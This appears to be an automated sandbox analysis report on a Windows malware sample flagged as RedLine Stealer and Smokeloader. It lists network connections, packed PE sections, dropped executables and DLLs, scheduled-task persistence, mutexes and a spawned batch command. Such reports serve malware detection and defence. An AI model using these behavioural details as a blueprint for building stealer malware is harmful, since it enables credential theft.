Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:59155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59162 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:63406 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63456 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63458 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63453 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63460 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63459 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:63461 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:63514 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.27:443 -> 192.168.2.6:63518 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:63649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59316 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59312 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59317 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59315 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59314 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59320 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59318 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59319 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:59333 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000024.00000002.3088875325.0000000002740000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.3085036724.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000024.00000002.3088348052.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000B.00000002.3085641302.000000000270D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: 6SoKuOqyNh.exe	Static PE information: section name:
Source: 6SoKuOqyNh.exe	Static PE information: section name: .idata
Source: 6SoKuOqyNh.exe	Static PE information: section name:
Source: explorti.exe.2.dr	Static PE information: section name:
Source: explorti.exe.2.dr	Static PE information: section name: .idata
Source: explorti.exe.2.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name: .idata
Source: random[1].exe.11.dr	Static PE information: section name:
Source: enter[1].exe.11.dr	Static PE information: section name:
Source: enter[1].exe.11.dr	Static PE information: section name: .idata
Source: enter[1].exe.11.dr	Static PE information: section name:
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name:
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name: .idata
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name:
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name:
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name: .idata
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name:
Source: axplong.exe.47.dr	Static PE information: section name:
Source: axplong.exe.47.dr	Static PE information: section name: .idata
Source: axplong.exe.47.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6AB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	11_2_6C6AB700
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6AB8C0 rand_s,NtQueryVirtualMemory,	11_2_6C6AB8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6AB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	11_2_6C6AB910
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C64F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	11_2_6C64F280

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	File created: C:\Windows\Tasks\explorti.job			Jump to behavior
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	File created: C:\Windows\Tasks\axplong.job

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6435A0	11_2_6C6435A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C655440	11_2_6C655440
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6B545C	11_2_6C6B545C
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6B542B	11_2_6C6B542B
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6BAC00	11_2_6C6BAC00
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C685C10	11_2_6C685C10
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C692C10	11_2_6C692C10
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C64D4E0	11_2_6C64D4E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C686CF0	11_2_6C686CF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6564C0	11_2_6C6564C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C66D4D0	11_2_6C66D4D0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6A34A0	11_2_6C6A34A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6AC4A0	11_2_6C6AC4A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C656C80	11_2_6C656C80
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C65FD00	11_2_6C65FD00
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C670512	11_2_6C670512
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C66ED10	11_2_6C66ED10
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6A85F0	11_2_6C6A85F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C680DD0	11_2_6C680DD0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6B6E63	11_2_6C6B6E63
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C64C670	11_2_6C64C670
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C664640	11_2_6C664640
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C692E4E	11_2_6C692E4E
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C669E50	11_2_6C669E50
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C683E50	11_2_6C683E50
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6A9E30	11_2_6C6A9E30
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C695600	11_2_6C695600
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C687E10	11_2_6C687E10
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6B76E3	11_2_6C6B76E3
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C64BEF0	11_2_6C64BEF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C65FEF0	11_2_6C65FEF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6A4EA0	11_2_6C6A4EA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6AE680	11_2_6C6AE680
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C665E90	11_2_6C665E90
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C659F00	11_2_6C659F00
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C687710	11_2_6C687710
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C64DFE0	11_2_6C64DFE0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C676FF0	11_2_6C676FF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6977A0	11_2_6C6977A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C68F070	11_2_6C68F070
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C668850	11_2_6C668850
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C66D850	11_2_6C66D850
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C68B820	11_2_6C68B820
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C694820	11_2_6C694820
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C657810	11_2_6C657810
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C66C0E0	11_2_6C66C0E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6858E0	11_2_6C6858E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6B50C7	11_2_6C6B50C7
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6760A0	11_2_6C6760A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C65D960	11_2_6C65D960
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C69B970	11_2_6C69B970
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6BB170	11_2_6C6BB170
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C66A940	11_2_6C66A940
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C64C9A0	11_2_6C64C9A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C67D9B0	11_2_6C67D9B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C685190	11_2_6C685190
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6A2990	11_2_6C6A2990
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C689A60	11_2_6C689A60
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C661AF0	11_2_6C661AF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C68E2F0	11_2_6C68E2F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C688AC0	11_2_6C688AC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6422A0	11_2_6C6422A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C674AA0	11_2_6C674AA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C65CAB0	11_2_6C65CAB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6B2AB0	11_2_6C6B2AB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6BBA90	11_2_6C6BBA90
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C65C370	11_2_6C65C370
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C645340	11_2_6C645340
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C68D320	11_2_6C68D320
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6B53C8	11_2_6C6B53C8
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C64F380	11_2_6C64F380
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6FAC60	11_2_6C6FAC60
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C7CAC30	11_2_6C7CAC30
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C7B6C00	11_2_6C7B6C00
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C74ECD0	11_2_6C74ECD0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6EECC0	11_2_6C6EECC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C7BED70	11_2_6C7BED70
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C87CDC0	11_2_6C87CDC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C878D20	11_2_6C878D20
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C81AD50	11_2_6C81AD50
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6F4DB0	11_2_6C6F4DB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C786D90	11_2_6C786D90
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C78EE70	11_2_6C78EE70
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C7D0E20	11_2_6C7D0E20
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6FAEC0	11_2_6C6FAEC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C790EC0	11_2_6C790EC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C776E90	11_2_6C776E90
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C7B2F70	11_2_6C7B2F70
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C838FB0	11_2_6C838FB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C75EF40	11_2_6C75EF40
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6F6F10	11_2_6C6F6F10
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C7CEFF0	11_2_6C7CEFF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6F0FE0	11_2_6C6F0FE0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C830F20	11_2_6C830F20
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C6FEFB0	11_2_6C6FEFB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C7C4840	11_2_6C7C4840
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_0040C898	12_2_0040C898
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_0040E950	12_2_0040E950
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_00410910	12_2_00410910
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_004109D9	12_2_004109D9
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_004105E0	12_2_004105E0
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_00411580	12_2_00411580
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_00410993	12_2_00410993
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_00410600	12_2_00410600
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_0040B347	12_2_0040B347
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_0040F3C8	12_2_0040F3C8

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: String function: 6C6894D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: String function: 6C67CBE8 appears 134 times

Source: 6SoKuOqyNh.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000024.00000002.3088875325.0000000002740000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.3085036724.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000024.00000002.3088348052.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000B.00000002.3085641302.000000000270D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: random[1].exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: bfb8bb0dc7.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 6SoKuOqyNh.exe	Static PE information: Section: ZLIB complexity 0.9996798155737705
Source: 6SoKuOqyNh.exe	Static PE information: Section: axajwlnp ZLIB complexity 0.9949373417357275
Source: explorti.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9996798155737705
Source: explorti.exe.2.dr	Static PE information: Section: axajwlnp ZLIB complexity 0.9949373417357275
Source: random[1].exe.11.dr	Static PE information: Section: ZLIB complexity 0.9973763198228883
Source: random[1].exe.11.dr	Static PE information: Section: wfabfqoe ZLIB complexity 0.994585331028423
Source: enter[1].exe.11.dr	Static PE information: Section: ZLIB complexity 0.9996798155737705
Source: enter[1].exe.11.dr	Static PE information: Section: axajwlnp ZLIB complexity 0.9949373417357275
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9996798155737705
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: Section: axajwlnp ZLIB complexity 0.9949373417357275
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9973763198228883
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: Section: wfabfqoe ZLIB complexity 0.994585331028423
Source: axplong.exe.47.dr	Static PE information: Section: ZLIB complexity 0.9973763198228883
Source: axplong.exe.47.dr	Static PE information: Section: wfabfqoe ZLIB complexity 0.994585331028423

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@154/216@84/22

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_6C6A7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

11_2_6C6A7030

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

11_2_004190A0

Source: C:\Users\user\1000003002\d27375200a.exe

Code function: 12_2_004026B8 LoadResource,SizeofResource,FreeResource,

12_2_004026B8

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9044:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: C:\Users\user\1000003002\d27375200a.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\F1CD.tmp\F1CE.tmp\F1CF.bat C:\Users\user\1000003002\d27375200a.exe"

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3.dll.11.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.11.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
